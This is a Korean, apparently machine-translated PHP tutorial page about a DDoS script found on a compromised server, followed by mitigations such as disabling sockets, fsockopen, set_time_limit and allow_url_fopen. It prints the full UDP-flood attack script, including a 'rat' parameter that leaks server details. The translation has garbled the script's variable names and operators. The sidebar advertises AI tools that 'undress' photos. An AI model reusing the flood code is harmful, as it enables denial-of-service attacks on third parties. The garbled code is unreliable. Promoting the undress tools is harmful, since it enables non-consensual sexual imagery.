백엔드 개발 PHP 튜토리얼 PHP DDoS 공격 솔루션_php 팁

PHP DDoS 공격 솔루션_php 팁

May 16, 2016 pm 08:26 PM
ddos php 공격 해결책

이 기사의 예에서는 PHP의 Ddos 공격에 대한 솔루션을 설명합니다. 참고할 수 있도록 모든 사람과 공유하세요. 구체적인 분석은 다음과 같습니다.

오늘 내 컴퓨터 중 하나가 갑자기 초당 1G가 넘는 대량의 데이터 패킷을 외부로 보냈습니다. UDP 패킷을 금지하는 정책을 사용했지만 보낼 수는 없었습니다. 컵을 많이 차지해서 드디어 해결 방법을 찾았습니다.

먼저 소스코드를 보면 코드는 다음과 같습니다.

코드 복사 코드는 다음과 같습니다.
set_time_limit(999999)
$호스트 = $_GET['호스트']
$port = $_GET['포트']
$exec_time = $_GET['시간']
$Sendlen = 65535
$패킷 = 0
ignore_user_abort(참)

if (StrLen($host)==0 또는 StrLen($port)==0 또는 StrLen($exec_time)==0){
If (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE' ].$_GET['쥐']
종료
               }
echo "매개변수는 비워둘 수 없습니다!"; 종료
}

for($i=0;$i<$Sendlen;$i ){
          $out .= "A"
}

$max_time = 시간() $exec_time

동안(1){
$패킷
If(time() > $max_time){
휴식
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5)
            if($fp){
                    fwrite($fp, $out)
                  fclose($fp)
}
}

echo "호스트 보내기:$host:$port

"; echo "흐름 보내기: $packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) ". mb

";
echo "전송 속도:" . round($packets/$exec_time, 2) . " 팩/초;" . round($packets/$exec_time*$Sendlen/1024/1024, 2)
?>

키코드는 다음과 같습니다.

코드 복사 코드는 다음과 같습니다.$fp = fsockopen("udp://$ip ", $ rand, $errno, $errstr, 5);
방법은 매우 간단합니다. 대상 호스트에 UDP 패킷을 보내고 무한 루프를 정의하면 더 큰 압력이 발생합니다.

이 스크립트를 실행하는 서버는 먼저 자체 네트워크 대역폭, CPU 및 기타 리소스를 많이 소비하기 때문에 이 스크립트를 사용하여 대상 사이트에 압력을 가하려면 실행해야 합니다. 이 스크립트인 DDOS는 fsockopen을 사용하여 외부 요청을 요청하므로 요청이 허용되지 않습니다.

php.ini에

을 설정하면 코드는 다음과 같습니다.

코드 복사 코드는 다음과 같습니다.allow_url_fopen = Off
아직도 이 방법으로 패키지를 보낼 수 있는 경우 코드는 다음과 같습니다.

확장자=php_sockets.dll

으로 변경되었습니다.

;확장자=php_sockets.dll

PHP DDOS가 패키지를 보내는 것을 방지하려면 APACHE, IIS 및 NGINX를 다시 시작하세요.

또한 일부 네티즌들은 시간 초과 없이 스크립트 설정을 비활성화하는 것이 매우 간단하다고 말했습니다.

1. set_time_limit 기능을 비활성화합니다

2. PHP의 안전 모드를 활성화합니다(safe_mode=on).

소켓 기능을 비활성화하려면 모든 소켓 모듈을 직접 비활성화하거나 fsockopen 기능을 비활성화할 수 있습니다. 소켓은 비밀번호를 검색하기 위해 이메일을 보내는 데 자주 사용되므로 안전 모드를 직접 활성화하는 것이 좋습니다. 이 경우 스크립트는 30초마다 시간 초과됩니다. 30초마다 클릭하여 DDOS를 시작할 만큼 외로운 "해커"는 없을 것입니다.

경험:

이러한 문제는 일반적으로 웹사이트 보안으로 인해 발생하므로, 쉽게 침입당하지 않도록 웹사이트 보안과 서버 보안에 주의해야 합니다. 마코피 프렌즈 사용법을 아시는 분은 홈페이지에서 확인하시는 것이 좋을 것 같습니다. 이 기사가 모든 사람의 PHP 프로그래밍 설계에 도움이 되기를 바랍니다.

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. JWT (JSON Web Tokens) 및 PHP API의 사용 사례를 설명하십시오. Apr 05, 2025 am 12:04 AM

JWT는 주로 신분증 인증 및 정보 교환을 위해 당사자간에 정보를 안전하게 전송하는 데 사용되는 JSON을 기반으로 한 개방형 표준입니다. 1. JWT는 헤더, 페이로드 및 서명의 세 부분으로 구성됩니다. 2. JWT의 작업 원칙에는 세 가지 단계가 포함됩니다. JWT 생성, JWT 확인 및 Parsing Payload. 3. PHP에서 인증에 JWT를 사용하면 JWT를 생성하고 확인할 수 있으며 사용자 역할 및 권한 정보가 고급 사용에 포함될 수 있습니다. 4. 일반적인 오류에는 서명 검증 실패, 토큰 만료 및 대형 페이로드가 포함됩니다. 디버깅 기술에는 디버깅 도구 및 로깅 사용이 포함됩니다. 5. 성능 최적화 및 모범 사례에는 적절한 시그니처 알고리즘 사용, 타당성 기간 설정 합리적,

PNPM 및 Monorepo 프로젝트에서 로컬 패키지 버전을 지정하는 방법은 무엇입니까? PNPM 및 Monorepo 프로젝트에서 로컬 패키지 버전을 지정하는 방법은 무엇입니까? Apr 04, 2025 pm 04:06 PM

PNPM 및 Monorepo 프로젝트에서 로컬 패키지 버전을 지정하는 방법 PNPM 및 Monorepo를 사용하여 프로젝트를 관리 할 때 프로젝트 간 지역을 공유 해야하는 경우가 종종 있습니다.

스트림에서 작동 할 때 RXJ 코드가 ​​적용되지 않는 이유는 무엇입니까? 스트림에서 작동 할 때 RXJ 코드가 ​​적용되지 않는 이유는 무엇입니까? Apr 04, 2025 pm 06:27 PM

RXJ를 사용하여 스트림에서 작동 할 때 코드가 적용되지 않는 이유는 무엇입니까? 학습 RXJS ...

Gitee Pages 정적 웹 사이트 배포 실패 : 단일 파일 문제를 해결하고 해결하는 방법 404 오류? Gitee Pages 정적 웹 사이트 배포 실패 : 단일 파일 문제를 해결하고 해결하는 방법 404 오류? Apr 04, 2025 pm 11:54 PM

GiteEpages 정적 웹 사이트 배포 실패 : 404 오류 문제 해결 및 해결시 Gitee ...

XPath를 사용하여 JavaScript의 지정된 DOM 노드에서 검색하는 방법은 무엇입니까? XPath를 사용하여 JavaScript의 지정된 DOM 노드에서 검색하는 방법은 무엇입니까? Apr 04, 2025 pm 11:15 PM

JavaScript의 DOM 노드에서 XPath 검색 방법에 대한 자세한 설명은 종종 XPath 표현식을 기반으로 DOM 트리에서 특정 노드를 찾아야합니다. 필요하다면 ...

sftp.json 구성 후에 다운로드 할 수없는 서버 파일의 이유와 솔루션은 무엇입니까? sftp.json 구성 후에 다운로드 할 수없는 서버 파일의 이유와 솔루션은 무엇입니까? Apr 04, 2025 pm 06:54 PM

솔루션 SFTP.JSON 구성 후에 서버 파일을 다운로드 할 수없는 문제에 대한 솔루션 sftp.json 파일을 구성한 후 사용자는 대상 서버 파일을 다운로드 할 수 없을 수 있습니다 ...

요소 플러스 테이블 구성 요소 Max-Height가 잘못 되었습니까? 테이블을 적응력이 높고 스크롤 바를 표시하는 방법은 무엇입니까? 요소 플러스 테이블 구성 요소 Max-Height가 잘못 되었습니까? 테이블을 적응력이 높고 스크롤 바를 표시하는 방법은 무엇입니까? Apr 04, 2025 pm 04:03 PM

ElementPlus 테이블 구성 요소의 최대 높이 속성 실패 및 솔루션은 요소를 사용하는 것입니다 ...

See all articles